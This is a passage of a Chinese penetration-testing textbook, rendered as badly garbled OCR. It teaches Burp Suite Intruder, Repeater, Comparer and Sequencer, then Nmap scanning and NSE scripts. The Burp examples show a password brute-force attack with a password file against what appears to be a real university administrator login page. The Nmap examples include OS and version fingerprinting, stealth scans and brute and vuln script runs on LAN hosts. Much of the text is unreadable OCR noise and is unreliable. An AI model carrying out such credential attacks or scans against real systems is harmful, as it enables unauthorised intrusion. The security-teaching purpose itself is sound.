e Pitchfork# z0{# F§ £ Payload 2l . X i & [F] B %R AT A [ Payload H, &
Payload I8 NN E LRI E H . X PP KRB R R B A EAR R AL B 7
A FMEAH B N 1B B . 38 3K 0 $0E B 1% 2 B/ B Payload 41 1 )
Payload%{ & .

®  Cluster bomb#& = & {# i £ 4 PayloadH . /N E XKML EFEHARRL
Payload4l. MW7 &1/ MPayloadl, &FPayloadH & ERE MR —iE .
XABaEEH TEME P TEAR B REE RAMABHER. W
THIE 3R 1) 2 5 2 % Payload 4 HPayload %7 & e fH .
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{2] Peyload Positions E E‘-"“]

Assckiype (Sepec

P AR ARG A B
Mose: gue.hpu e

Cont ent.-Lengeh: iy

Sabi-cumorels it

[Aoce)

Fqe0.3, 1mageswabp, =/ % qe0. 0
oetwiar Manpt mv- by edd o

Upgrade-Tnsecure-Requ

Over-Apens: Nosiliasso (lindows N .4r AppleVebKLc/537,26 (MNTML, Like Cecko) Chrome/48.0.3613.371 Safars/$37.36 5K I.X Merasr 1.0

oterer: hrep://gac.hpa. edu, o/ adnin/ adainlogin, asp
lAccepe-tncoding: grip, deflace
Accupt-Language: sh-c,3h;qe0. 0
Cook e
[comnection: cloze

E3-36 iEdpassE#
Tﬁﬂiﬁgﬁéﬂuﬂﬁ?ﬁ izul%3 37Fﬁm.,

Payload Sets
You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are ava

— s o, 5172

Request count: 75,172 (approx)

@ Payload Options [Runtime file]

This payload type lets you configure a file from whi strings at runtime.

Payload Processing
You can define rules to perform various processing tasks on each payload before it is used.

[ Asa | [Enabed [rue

-
F3-37 ikhFs

RIETT ORI SRR R, anEI3-38F77
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Copy attack config > . )
e >\Muym¢ sets depends on the attack type defined in the Positions tab. Various payload types are avaiable for

Automatic payioad posttions ,,,,,ft 75,172 (approx)

Configure predefined payload ists

PO QR Rewwest oo, 75172 opre)

@ Payload Options [Runtime file]
This payload type lets you configure a file from which to read payload strings at runtime.

{ Select file ... | C:Mools\password.txt

(2] Payload Processing

E3-38 FriBIREE

X B xfStatusE Length iR E{EBHTHEF, BERGAARZL. WRE, BE
R EERR BRAEFRY), WRERENEECHHEHENSEFRINPER, Wik
B AT, anE3-3957R

m" rm!m]m]m]‘ | 7 ____

IW Showing af tems.

2 L D - ::.»

0 Wz e =

2 Q5% 202 o g a2
1 ‘@e5% 302 o =) 2121
|4 @es%te 302 (=] g 221
{s troct 202 G O a2
13 @ES%S 02 (o} o 221
57 Ssecure$ 302 Q ®) 2121
|8 SSRY 202 a g a2
10 ANl 302 a g a2
|8 “3n0gury 302 a a a2
9 esws % O o 22

[E3-39 #ElengthfViEE/{E

3.2.3.3 Repeater

Burp Repeaterf& — M FaE . 4R ARIHTTPERK, HHr e 18w R THE .
B K R 2 BE AN A Burp Suite T B £5-& #2 KA « 0 LK B Ak st B Burp
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Proxy¥ %1t 3% Burp Intruderff B 45 5%, KikFIRepeater b, H-FahiABXAMER
SRt IR I R R I BB e AT 1
Repeater 7 ATIE A 45: Raw. Params. HeadersflHex.

Raw: S7RACAMAMEE . £ XARTRESE —NMERFIN=ERIZ
AE, FTRARRPGE A FREI R FRE, WHHEHEE. RABEMLD
HUSEHHTT, Reds RO R, DL B A M R SR BNt il T
HE.

Params: X TH &4 (URLEWFAFFH . cookieSkBLE H B HIER,
ParamsiZ 2 EIX L S 4E 7m N2 FAERIME N, XA AT DA Bt st e 4]
HATEFEMEHT .

Headers: # L& F/H M N B HTTPHIE B3k, £ H AR R ERE
SR

Hex: FVFEHdm%E iR a6 — il S0 i v 2.

EBFEN LR, BAVEF 5 FRepeaterifk 4718 3K 5 1 S 074 B I6AE /47, 45140
BEIERSE BIEMARR; BE0ERSE. RIBSHEBAL, NEET EidskH,
ﬁﬁﬁﬁfiﬂ’]lﬁj‘uﬁulﬁﬁlﬁz‘?iﬁi AN K 1% FRepeater,  AN1E3-40F77R

‘;@Pﬂmﬂ- nuun]mx

POST /admin/aduinlogin.asp HITP/1.1
Host: gzc.bpu.edu.cn

Content-Length: 48
Cache-Control: max
Accept: vexc/htal,
Origin: hoep://gzc

~age=0
application/xhtmlixal, application/xnliq=0. ¢, inage/vebp,*/*;q=0.8

.hpu. edu.cn

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla

/5.0 (Windows NT €.1) AppleWebKit/S$37.3§ (KHTNL, like fecko) Chrome/49.0.2623.221 Safari/537.35 SE 2.X MevaSr 1.0

ype: application/ lencoded

Referer: hrrp://gsc.hpu.edu.cn/admin/a
Accept-Encoding: g¢szip, deflate Send to Spider
Accept-Language: =h-CN,zh;q=0.8 Dot acien oen
Cookie: ASPSESSICHIDQADEDSRS=PCIIMBBA em=
Connection: close Send to infruder Ctriol
admin=igPassvord=iiIbeninter. x=E4Ibtn S Saancer
Send to Comparer
Send to Decoder
Rauleﬂ'l bmww »
Engtwnemmn »
Change request method
Change body encoding
Copy URL
Caoy #s curi command

E3-40 %% EIJRepeater
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fERepeater FERAE I, £l IRequest MiERHEIX, il fResponse i %
HEX, HREEXEREER i RIENERE SN IEAELE . LRINRETIE
i?ﬁﬁ}: $EE “Go” ?’“!EHEIJ_UJZ% ééﬂﬁ%ﬁﬂﬁ, WIE3-41 7R

Decoder MIMIMWIWMIMJ

n1iqe0. 8, P.*/%iqe0.

pleve munv 75 (HTHL, 1ike
2.3 Mox.

edu. cn/aduin/adninlogin. asp
. detlace
2 qe0.0

adminelePassworde 14 Tbenlne ex \ew€CIbentncer . y=28

E3-41 RZEiFK

IR B X R B X X B 11 SRV B BT “ GO %4 R, IRSS H RURE B
BEIEHOERE ERSECRE W A ERNEH B Z MK ESR, REE T BIRA]
ST RG AT REAFE RN, a0 E3-42FR

Torgat

3. inagesvety, */tiqe0

ulu-mnAA ) Airsnie/ser. ¢ e, Lide
/337,

hatp:/(gee. hpu.edu. cn/adnins atainiegin. 253
bettad oy il otiogrtyin
Accept-Langusge: sh-Of.shige0.8

1, L hatght 2o

F R TET— 4
| 2t smstriisiminane

E3-42 FE ﬁ,%\EETH&%mB?&’EﬁﬁM
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3.2.3.4 Comparer

Burp ComparerfEBurp Suite ! 3= Z IR — NI I Z 7 EE X DhRE, RN HL /A

P WebZAZ . HiEnXEEEd

PHREEZ RRX A, ERBNSER:

o MR AMERET, XN E R R, AR 55w R A R X

o

o fE i Intruder#ATHAIS, XF T AFHIAR ST S B, AT AR R 73 v H 79

IS X FE 6 B

o BHATSQLEARIEEM BN, HEMRINEERER, AWML RS

ENFARIREER R .

1% B Comparerftt B AN S IR, Je2BdEmE, wE3-43F7R, RERERST,

1 3-44FF 7R «

[§3 Intruder attack 1 = ey ——
Atiack Save Coumns
| Target | Postons | Payioads | Options
Fiter: Showing sl tems [;’5)

Host: gzc.hpu.edu.cn
Content-Length: 57
Cache-Control: max-aged
Accept:

text/htal, appl
Origin: htep://gsc.hpu
Upgrade-

Send to Comparer (response)
Show response in browser
Request n browser
Generate CSRF PoC
TAsdmostemp
Regquest tem again

Define extract grep from response
Copy as curl command

User-Agent: Mozilla/s.
Satari/837.36 SE 2.X M
Content-Type: applicati
Rete heep: //gzc. hpy
Accept-Encoding: gzip,
Accept-Language: zh-CN
Cookie: ASPSESSICNIDQAL

Highiight

Deiete tem
Copy lnks
Save tem

ntruder resuts hep

>

|Status | Emor  |Timeout |Length | Comment |
200 [€] Q s
200 [a} a s
200 a g s
200 ] a s
280 St 285
Resuk#4 285
[ Dosnactvescan 285
Do a passive scan 85
Send to Intruder Cirted 5
Send to Repaster criR a5
Send to Sequencer s
Send to Comparer (i ) o)

D.S, image/vebp,*/*;q=0.8

E (FHTML, like Gecko) Chrome/49.0.2623.I01

dog-flow-iten=

YOE S SESTTI TR

0L e T Y

0 matches

7780 0t 165570 [

BEeE

E3-43 iR

i
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704 POST HTTPM1, THost - |
TR T U pOST e as HTTR fHost G2 e s crContent Lengh S6Cache-CORoL max-#ge=DACCeRt XN s oM L agpicateetim e | (ST
| (o
| [ e

G TR i 1]

max-agenOAccept |

E3-44 EFJSHH

Comparer % 0 & i % F 77 a0 F s

o MHAhBurp TR EFICERERERITK.

o EHHNG.

o MR

mEsEeE, WMARIEBFEFIKA R RE KRB ZH S, N KK B R 4
W&, BGEA] DGR SCA B T LA

3.2.3.5 Sequencer

Burp Sequencer/&— 1 T iR rE AR BN TR, ATLA el A
FEFH41E4 8 (Session token). R E B 4 HUE T Al IS¢, 1EidSequencer
HIBIRREAR T, BEIR I b PEARIX L S B R Oh & 1 XU

Burp Sequencer = E i {5 &I (Live Capture)s F3IN% (Manual Load) Flik
W44t (Analysis Options) =/MEHRL Y.

EBIERE, BifiloadiZdmEkE R, RIEHE “Analyze now” #4#H1T 2
B, GnE3-45HTR .
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]mﬁ;qun-vayw-www,m — o e

Ernr e

@ Manual Load

. e 5 B o souwe

W . 8 smebews

This function alows you 9 losd ‘sample of tokens that you have aiready obtaned, and fien perform the statistical snalysis on the sample.

14 e

‘i?i.’:'si}i Tpssswerate
@ omep
iﬂm
! ‘ﬁrw-z

(@@ TorBrowser
1 ™ 1amt

[ username ot |

[E|3-45 Sequenceri&f{E

3.3 Nmap £ &

Nmap (Network Mapper, PZ&BREFE8E) & —FKIFBORAHD 1) WX 4G ZR I AN 22 4 B
BILA. BRI ARICER R KRN, A5 EHRN S RI. TR OB
BIERG 5N A MRS HESGR%N] . WAFIR B K& % W22 40K . B B B AL A £ Zenmap,
4341 2AEZE Y DNmap..

NmapIHRE S0 Fs o
o EHURI: WML ERENL, %) E S TCPFAICMPIER . ICMPiER .
FF 8RR A s ) ML

o IR BRI B AR EHUITIT R .

o RRAHKEI: R EARENRI LIRS, FIW RS BIRE AR A S .

o RGUEI: R B AR EHLRIERAIE R G K P4 % BRI

o XFRIUMAKMRS: A Nmapfii45]|% (NSE) MLuafmfBiES .
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3.3.1 %% Nmap

Nmapff] T # s 41k Ahttps:/nmap.org/download.html, A< FEHIMRAZT7.40. B

Please review the license terms before installing Nmap. @

Press Page Down to see the rest of the agreement.

COPYING -- Describes the terms under which Nmap is distributed. E|
IMPORTANT NMAP LICENSE TERMS

The Nmap Security Scanner is (C) 1996-2016 Insecure.Com LLC ("The Nmap Project”).
INmap is also a registered trademark of the Nmap Project. This program is free software;
you may redistribute and/or modify it under the terms of the GNU General Public License
published by the Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL
THE CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your
@tgome,mdfx,agdredsmmﬂissoﬂvgaemduwmwﬂﬁa}s. If youwish ~

If you accept the terms of the agreement, dick I Agree to continue. You must accept the
agreement to install Nmap.

Mulisoft Install System v2,51

E3-46 Z#INmap
3.3.2 Nmap A7

3.3.2.1 HESH

BN ARG, EaTEENITNmaps & F P 3CR (it Anmap --help)
27" Namp 9 F¥E R L ThBE,  WIEI3-47F7 .
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E¥ BEE: C\Windows\system32\cmd. exe

F:\Nmap>nnap

?.48 C https: map.ory
] [Options] {target specification)

~PS/PA/PU/PY [portl y to given ports
~PE/PP/PM: ICMP echo, timestamp, and netmask reque
~POLprotocol listl: IP Protocol Ping

lution/Alua

puery prohes

TCP SY

s probeport1>:
TP INIT/COOKIE-ECHO
protocol

clude the . p from scanning

than the d
don’t randon

top—ports <numbhe Scan <{numbher> v ARON pox

an ports more

1ine vice/version info

Prohe open por 3
et from B (light) to 9 <{try all probes)

on—intensity {le

E3-47 SEREEEIXH
TEPHR BRI B AT, 6/ — T Nmap ARSI & L5 .
BN AR B BN HBINAHSSE, W R.
o -L: MU SN BARENLEE AR B
o -iR: BENLIEEHFENL.
o —exclude: JEMHIFRMFHBN B AERFETEEA
o —excludefile: S AU AN B A E DTG
HEW R EAKRISE T .
o .sL: ListScan (FIFRFH) , NFI2EHEE BARKIP, AT EH A

e -sn: PingScan, WRHHTENKI, AATHOEM.
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-Pn: KArERENFVRECTT S, Bod EVUARKIEE.
-PS/PA/PU/PY[portlist]: f#FITCP SYN/ACKE{SCTP INIT/ECHO /5 Hk &I o
-PE/PP/PM: i FHICMP echo. timestamp. netmaskif >R &I FH.
-PO[protocollist]: & FHIPHRM AR 7 EHLE B IS

-n/-R: -nRNAHEATDNSHAT: -RIFEIR S BEITDNSHET o

--dns-servers <servl1[,serv2],..>: fHEDNS/R% % .

--system-dns: 185E | R MIDNS/RS 2% -

—-traceroute: 1B EEEEN I H Y A

5% W D885 RS T .

-sS/sT/sA/sW/sM: f& 5 f# FHTCP SYN/Connect()/ACK/Window/Maimon scans
77 20t B b EVLEAT R

-sU: $8 7€ {f FHUDPHI #1977 X 5 B A5 =LA UDP FARL .

-sN/sF/sX: #87E{f FITCP Null/FIN/Xmas scansFb % $=14i (1) 75 20 o B ER IS
77 (I TCP IIRZS .

--scanflags <flags>: &l TCPELflags.

-sI <zombie host[:probeport]>: i & ff F1dle scanff] /7 XA H H AR EAL CHi$e
& i B B 5 & ) zombie host) .

-sY/sZ: f#FHSCTP INIT/COOKIE-ECHO$HSCTP #3111 ¥ FF U i«
-s0: {5 1P protocol 3 HHfi 52 H bl T HE IR o

-b <FTP relay host>: {# FH{FTP bounce scanfi## /7.

B3 O 2 EC S H T s BRI S8 T,

-p <port ranges>: {3445 & A

-F: Fastmode (PREMIZD , {UAAFETOP 100/)35 .

o ABEAT I OBENLITELAVERAE (A% S H, Nmap 2 f E 4 1 i 3m 11 LA
BEHLIGUT 75 sOEAT 138, L Nmap BN 5 Bt 77 B KBS ED .
--top-ports <number>: T THB A B & I number M 1 (Nmap I {E &
O KA R B 448, DAL GE T 2% b % B o] e UM AR, IF
HEZ B A AT BT I HV %1 3%, BAR AT A2 Wonmap-services U BRIMTE
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LT, Nmap2#ifA Al AL 1000NTCP; 1)
®  --port-ratio <ratio>: FHIMIREMFELL LRI . 5 FiR--top-portsEfEl, X
BUMRIENSE, R KT --port-ratiofJ 3 1 A ¥ i34 . ERSEWFIHE
0~122[8], 28T fif B A 1)k 2 Y0 AT L2 B nmap-services SL1F
SR AT A R S Hn T s .
*  sV: 185E IENmap@E4T AT .
®  --version-intensity <level>: i & RAMIMIAIEE (0~9) , BRIAANT. FUEM
= I RS R, (RIS TR R K
*  --version-light: #&EFHEERWIIN T (intensity 2) .
*  -version-all: {5 F T iIprobesiEAT T Cintensity 9) -
®  --version-trace: N HI TEAHI AT AR(E B .
ETRULESHEES NG, BRERESHEIFEM, AifaLEX: Nmapt+
ARHSH+EH RN B . i — R e B Nmapf A dr & W F
nmap -T4 -A -v ip
HAp-ARRER BN (Aggressive) J7a\HH; -T4R 48 g AR FE 06 FH A
i 7 (Timing), 3LH6/MNHI (0~5), Zhlihe, FHRGEERER, (B2 530 ki
ERIDSHK U I B Ak, EMZB R REFIIE L FHEFEE AT, vERERTUR

(verbosity) {5 /8, FERAFMRET B4, AT LA T 8r fa R
N

BN o

3.3.2.2 ERABE

Nmapm%ﬁﬁg EREFAATHRAZ, UTRAEZEMNHTES BT L
i
1. S8 T B

FENmap & [ E A0 B rstohik Bl aT 4948, anf&3-48fr.

nmap 192.168.0.100




F:\Nmap>nmap 192.168.68.188

Starting Nmap 7.48 < https://nmap.oryg > at 2017-86-11 18:28
Nmap scan report for 192.168.6.100
Host is up (B.811s latency).
shoun: 992 closed ports
STATE SERVICE
open msepc
open nethio
open microso
5357/tcp open wsdapi
49152/tcp open unknown
49153/tcp open unknowun
49154/tcp open unknown
49155/tcp open unknowun

Nmap do 1 IP address <1 host up) scanned in 1.3°%

E3-48 B BiRtit

2. P2 T BRI

WR HARHEEATE R — B, SER—MEBEANELBAHEASZS,
FEATER, E3-498R .

$3%F FRASLEMNXIL 4 75

AJ LA %

nmap 192.168.0.100 192.168.0.105

F:\Nmap>nnap 192.168.08.100 192.168.8.185

Starting Nmap 7.48 ( https://nmap.org > at 2017-86-11 18:3¢
san report for 192.168.0.160

: shown: 992 closed ports
STATE §

135/tcp open
139/tcp open
445 /tcp open rosoft—ds
535%/tcp open wsdapi
49152/¢tcp open unknown
49153 /tcp open unknoun
49154/tcp open unknoun
49155/tcp open unknoun

can report for 192.168.0.165
s up <B.8011s latency).

open
443 /tcp open https
782/tcp open i » i
MAC Addres 8C:A9:82:57:21:6A (Intel Corporate)

Nmap done: 2 IP addre 25 (2 hosts up) scanned in 3.96 secon

3-49 TS Bt
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3. HiB— T EEARN B
a] PR e NES B, AR -7 &R, Blan, THle4A R
JuE 4192.168.0.100 ~ 192.168.0.110, w1&3-50f 7~

nmap 192.168.0.100-110

T s

F:\Nmap>nmap 192.168

.8.186-1168

Starting Nmap 7.48 < https://nmap.oryg > at 2017-86-11 28:85 7
can report for 192.168.0.160
up <B.80B62s latency).
: 992 closed ports
STATE SERVICE
135/tcp open msrpc
139/tcp open nethios
445/tcp open microsoft-ds
5357/tcp open wsdapi
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknoun
49155/tcp open unknoun

Nmap scan report for 192.168.0.162
up (B.28s latency).
houn: 999 closed ports
STATE SERVICE
8082/tcp open blackice-alerts
MAC Address: 74:AC:5F:2C:08:DA <(Qiku Internet Network Scientif

Nmap scan report for 192.168.8.165
s up <B.817s latency).
shown: 997 closed ports
STATE SERVICE

22/tcp open ssh
443/tcp open https
992/tcp open iss—realsecure
MAC Address: 8C:A9:82:57:21:6A (Intel Corporate)

Nmap done: 11 IP addresses <3 hosts up> scanned in 25.44 secor

E3-50 fEE—EEME Bt

4. PEBEMREIAERNE TR

PLCBCNBI, St BAs2— B, Tw] DS -7 MRS R 7 34, T
AR RFIEE9192.168.0.1 ~ 192.168.0.255, HNEI3-51 7R

nmap 192.168.0.100/24
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®
w
i

=]

up (B.18s latency).
showun: 998 filte d ports
PORT STATE
8@/tcy open http
19688/tcp opt upnp
34:96 2:B5:54 (Tp—-link Technologies>

for 192.168.0.182
latency)

closed

(Qiku Internet Network Scienti (Shenzhen)>

an report
up <B.0865s -
inned port 92.168.8.183 are clc
DF (Xiaomi Communica

for 192.168.08.185

open

p open
:6A <(Intel Corporate)

an report for 192 .1608
up (B.9B20s

9

STATE

open

open nethios

open nicrosoft-ds

open dapi

open unknoun

open unknouwn

open unknoun

49155/tcp open unknoun

Nmap done: 256 IP adde s €5 sts up) scanned in 127.71 seconds

E3-51 FEE—CERBEfRibiE

5. PEENIIR targets.txt PIIETE EFRMIIL

A ffitargets. txtF IR ELE B, thab SR ZEXTER1E, WiRtargets.txt X fF 5
nmap.exefER—MNHEHZKT, WEREIIHXHAEE, wWE3-5287R.

nmap -iL C:\Users\Aerfa\Desktop\targets.txt
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F:\Nnap>nmap -il. C:\lUse fierfaDe op\targe

[Starting Nmap 7.48 < http nnap.org > at 2817-06
can report for 192.168.8.180

tencyd.

nicrosoft
dapi
unknowun
unknoun
unknown
unknoun

an report for 192.168.0.1685
is up <(A.036s latencyd.
closed por
STATE SERVICE
tcp open h
/tcp open https
[982/tcp op
MAC Addre

INmap done: 2 IP

E3-52 FHIEEXA

~11

6. HERE—TBEfribit Z NPT S Rt

T4 RAFIHi5192.168.0.105 2 A HA 192.168.0. x kb, ML RKFE
B X192.168.0.1057 4733, wiE3-53 7.

nmap 192.168.0.100/24 -exclude 192.168.0.105

nicrosoft-d
open  icslap
open  wsdapi

CHon Ha izion Ind.)

108

nethios-s

nicrosoft-ds

unknown

[49155/tep open  unknown

INnap done 1P addr <5 hosts up anned in 3 meconds

E3-53 FIEMRFE—BfrtbitZ S0P A B iRttt
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7. FBRE—XHDPEI BRI 2 Y BiRiit

79

T H R MBR T target txt AR Je I K ik s Bz A B k. 3B

F2 LLH192.168.0.x M B A, {Etargets.txt 5 11192.168.0.10041192.168.0.105,

RS RKE CRUESLZ T EA TR, WE3-54f7.

M

nmap 192.168.0.100/24 -excludefile C:\Users\Aerfa\Desktop\targets.txt

F:\Nmap>nnap 192.168.8.160/24 -excludefile C:\lUse AerfaNDesktop\target

Starting Nmap 7.48 ( https://nmap.org > at 2817-86-11 28:52 7Diut e
n report for 192.168.8.1
up (8.9 latency)
houn:z 998 f red ports
STATE SERVICE
open http
open upnp

34:96:72:12:B5:54 (Tp-link Technologies)

scan report for 192.168.8.182
up (B.898s latencyd.
canned ports on 192.168.0.162 are closed

2C:08:DA (Qiku Internet Network Scientific (Shenzhen))

for 192.168.8.186
latency) .

open
open
open
open

open
2:BA:CB <(Hon Hai Precision Ind.>

Nmap done: 254 IP addre s <3 hosts up) scanned in 139.98 seconds

El3-54 {4BRE—SCE R BiRibit > sh g0 EiRibiE
8. HEE—BMrIEEY 21, 22, 23, 80 w0

INESRANT Ex B AR EHLBEAT i D2, AR EREIFM T E—mA, M
3-55

AfER-pZHERE ﬁﬂayﬁkkhﬂﬁﬁﬂﬁ,m@ SF7R -

nmap 192.168.0.100 —p 21,22,23,80
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F:\Nmap>nmap 192.168.8.188 -p 21.22.23.88

Starting Nmap 7.48 ¢ https://nmap.ovrg > at 2017-86-11 21:00
an report for 192.168.0.108
up (B.0808867s latency).

1 ssh
ed telnet
8B/tcp closed http

Nmap done: 1 IP address (1 host up?> scanned in 1.17 ronds

E3-55 fEEERwRD

9. N EFRMI#ITIREBIRER
Tl FRonnt B iRk BEAT B B BRER, anE3-56 TN .

nmap --traceroute 192.168.0.105

F:\Nmap>nmap ——traceroute 192.168.0.185

Starting Nmap 7.48 ¢ https://nmap.ory ) at 2817-86-11 2
Nmap an report for 192.168.0.1685
s up (8.832s latency).
wun: 9297 cleosed ports
STATE SERUVICE
open ssh
open https
p open

TRACEROUTE
HOP RTT
1 31.59 ms 192.168.6.185

Nmap done: 1 IP address <1 host up? scanned in 2.58 seconds

E3-56 %t EARithib#E T R ER

10. FFBEMRMUATTE C REVELIRR
FHlr 4R B bRtk T ECBL LRI, I E3-57FT 7R

nmap -sP 192.168.0.100/24
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F:\Nmap>nmap —sP 192.168.0.188/24

Starting Nmap 7.48 ( https://nmap.org > at 2817-86-11 21:87 ?
scan report for 192.168.8.1
up (B.80868s latency).
: 34:96:72:12:B5:54 (Tp-link Technologies)
an report for 192.168.6.165
is up <0.0018s latency).

8C:A9:82: A {Intel Corporate)
1 report for 192.168.8.166
up (B.081s lat cyd.
CC:A 922:B8:CB <(Hon Hai Precision Ind.>
an report for 192.168.8.1060
up.
Nmap done: 256 IP addw hosts up) scanned in 3.54 se

[E3-57 B RMURECEMELRIKR

11. BEfFBU BV RIFRFELORS
Tl 4 2R F SOR A AR B AR bhk F3RAE RGEHIRCA, tnE3-58F77R .

nmap -0 192.168.0.105

I F:\Nmap>nmap -0 192.168.0.185

Starting Nmap 7.48 ¢ https://nmap.org > at 2017-86-11 21:15 ?
- an report for 192.168.6.1065
up (0.38s latency).
shown: 7 >losed ports, 256 filtered ports
STA
open
open
open
= :6A (Intel Corporate)

fDevice type: general purpose
BRunning: Linux 3.3:14.3%

0S8 CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel
08 detai Linux 3.2 - 4.6
[INe twork Distance: 1 hop

0S detection performed. Please report any incorrect results a
subnit/
Nmap done: 1 IP address €1 host up) scanned in 13.63 seconds

E3-58 13 ERMIERORIERS:

12. Birithit IR EB9AR 53R A4
A A RN AS I H AR T S R R AR S5 A B, E3-59F 7 .
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nmap -sV 192.168.0.105

F:\Nmap>nmnap —sU 192.168.0.185

Starting Nmap 7.48 ( https://nmap.oryg > at 2017-86-11 21
an report for 192.168.6.1605
latency).
: shoun: 997 ¢l d ports
STATE £ UERSION
open OpenSSH 6.7p1 Debian S+deb8u2 {(protocol 2.8

) open S Bt UMuare UirtualCenter UWebh service
open ssl/vmuware—auth UMware Authentication Daemon 1.18 <U UNC, SOAP>

:57:21:6A <(Intel Corporated
Linux; CPE: cpe:/o:linux:linux_kernel

detection performed. Please peport any incorrect results at
.org/submit/ .
Nmap done: 1 IP address <1 host up) scanned in 18.36 seconds

E3-59 i B ARtk s O X M A BR S5 A

- BB IEIRTS

FESEAR A, AT DA FINS 36 10 75 SR 55 KBS RS « FINF S A TR 5 O
eI, URIRSTIE & U B Z i L5, 5052 opendifilteredRZS, WNE3-60AT
o

nmap -sF -T4 192.168.0.105

F:\Nmap>nmap —-sF -T4 192.168.8.185

Starting Nmap 7.48 ¢ https://nmap.org > at 2817-86-11 21:27 7D1
Nmap 1 report for 192.168.0.185
Host is up (B.8816s latency).
Not shown: 997 closed ports

STATE SERVICE

openifiltered h

openifiltered https

b openifiltered —prealsecure

;2 8C:A9:82:57:21:6A (Intel Corporate)

Nmap done: 1 IP address (1 host up) scanned in 4.82 seconds

E3-60 HRMIFE AIEARZS

3.3.2.3 RKZiR7!
Nmapfi tH {2 51R, A¥Em 5. i FURES . RS 2R IR RS K.
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BE A WR3- 1R S,
#£3-1 ERNM6MNmapkTRERES X

open TR, FoR MR IEAE MW %0 D IR, JhEBaT LA 1A
filtered WAk IER, Fonm DB B O BN R 28 5 BRI, ANEETT )
closed KW, Fow HbsENARITE Z3H D

unfiltered R IER, TR Nmap e in D RTARIRAE, #iE—PR0
open/filtered TR BRA L BE Y, Nmap ASfig iR )

closed/filtered K BT JER), Nmap ASREiA ]

THRT U RS, @il iz, KA T3®A006E T — Mz t4
TR F B

3.3.3 Nmap #H

3.3.3.1 HIERNE
Nmap [ i1 A< BRI A7 7E /xx/nmap/scripts LR T, WiE3-61778.

- l ‘r“ M scripts

285

| acarsd-info.nse

| address-info.nse

_ afp-brute.nse

| afp-ls.nse

[ afp-path-vuln.nse

| afp-serverinfo.nse
[ afp-showmount.nse
_ ajp-auth.nse

_ ajp-brute.nse

] ajp-headers.nse

] ajp-methods.nse

_ ajp-request.nse

| allseeingeye-info.nse
| amqp-info.nse

[ asn-query.nse

L auth-owners.nse

_J auth-spoofinse

| backorifice-brute.nse
[ backorifice-info.nse
] bacnet-info.nse

E3-61 NmaphIfiZA
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Nmap A 325 AL T LK.

Auth: FTTABERGES (St 8D HHA.

Broadcast: 7E /&3P AR & B 2 IR 55 BT 55, WiDHCP/DNS/SQLServer
&

Brute: X% IS AR L2 W75 30, WHTTP/SMTP4E

Default: {f H-sCE-AETFT R BRI BIRIAS, $RALIE A A4 e
Discovery: XfP4& 1T H 25 B4, WSMBMZE. SNMPE .
Dos: FT#FATHE 48 iR %5 Wit -

Exploit: F|H S FMIRIFAAR &%

External: |5 =77 FIEUR FEE BT IR . #lan, 247 Whoisfi#Ar .

Fuzzer: SO, KiERFEHEE I, BRI EEIRR .
Intrusive: NZYERIBIA, HESRIATT RES] &%) 77 RIIDS/IPSFIE 3 BB Ao
Malware: Rl HArpl 2 EEG T HE. FREINTEER.

Safe: M3 Hintrusivetfl, J& T ZEMEMA.

Version: 1 5748 58 ik 55 5 IRA HH#E Th RE A R AS

Vuln: S5 E HARILE SH % LRI, 1MS08-067.

3.3.3.2 ERHAE
PP BT AR 7 B B --seript=2R Rt AT, WS TR,

-sC/--script=default: {37 FIERIA 10 A BEAT 34

--script=<Lua scripts>: {3 F 3/ AT 4.

--script-args=keyl=valuel key2=value2------: ZSHH THEiEHAEKSH,
keyl RS 4, ZS N Nivalue lIX/ME .. WA E 2 K S48, HHE S ESE.
—script-args-file=filename: {8 H S AMA RS HL.

--script-trace: WIR W B iS40, W B/R AT SR R IE S HEE .
--script-updatedb: #ENmapscripts H 5% B A — script.db 30, Z U RFF
T M AT Nmap ] FHBIA, ROITF—ANDNREEREE, WRENIFF /S NmapFF
WHT S5, NWNmap2 B 1T7H Hiscripts H X Y R IHA, #HATHIEE
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.
e  script-help: WHZZSHUE, Nmap<fin iz B4 M AMSEHZH, U
KRN BIELR.

3.3.3.3 X4l

1. ENETE

1§ F --script=auth °] LAXT B #5 FHLEE B Fr FEHLETE ) R Bt 47 N 55 1A Fa i,
W E3-62F1 78

nmap --script=auth 192.168.0.105

CFZ\Nﬂup>anp -—seript=auth 192.168.8.185

Starting Nmap 7.40 ( https://nmap.org ) at 2017-86-11 21:52 7D1
scan report for 192.168.08.185
is up (1.6s latencyd.
shoun: 997 closed ports

STATE :

open
443 P open
i _http-default
9B2/tcp open
MAC Address: > s :82:57:21:6A <{Intel Corporated

NMmap done: 1 IP address {1 host up) scanned in 79.20 seconds .

E3-62 £

2. RNDWERHE

Nmap BB & IR ITEE, FIXEdEE . SMB. SNMPEEEAT & 250 i 8 /1
R, WE3-63F7.

nmap --script=brute 192.168.0.105
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F:\Nmap>nmap ——script=hrute 192.168.8.1085

Starting Nmap 7.48 ¢ https://nmap.ory > at 2817-86-11 22:91 ?Diute
192.168.0.105
Y.

open
» open https
citrix—hrute—-xml: FAILED: No domain specified {use ntdomain argument)
http-brute:
not require authentication

tcp open i realsecure
vnauthd-hbrut

ficcounts: No valid accounts found

statis o 2 C s in 682 seconds, average tps
AC Addr 8 21:6A {Intel Corporate’

Nmap done: 1 IP {1 host up) scanned in 689.45 seconds

E3-63 RABMMEE
3. PwWEILNRE

Nmap B & IR DIRE, 7T LG H AR LALLM B B A7 7R H LRI, o

E3-64 7~ o

nmap --script=vuln 192.168.0.105

F:\Nmap>nmap ——script=vuln 192.168.08.185
Starting Nmap 7.48 ( https://nmap.org ) at 2017-86-11 22:14 ?Diu T ¢

broadcast-avahi-dc
vered hos
224.0.8.251
NULL UDP avahi packet DoS (CUE-2811-1882).
are all up <not vulnerable).
can report for 192.168.08.185

7tcp open
443/tcp open https
http-aspnet—debug ERROR: Script execution failed (use -d to debug>
Couldn’t find any CSRF wvulnerabiliti
ed—xss Couldn’t find any DOM based X
ored—xs Couldn’t find any stored XSS vulnerabiliti
~drown :
-real ure
9:82:57:21:6A (Intel Corporate)

Nmap done: 1 IP addre {1 host up> anned in 260.88 seconds

E3-64 FHELHIRRE



#3% FRAMSEMNXIL 4 87

4. NRIRSE3E

Nmap B %18 2 % IR RS R A, FlanVNCHRS: . MySQLARS: . Telnet

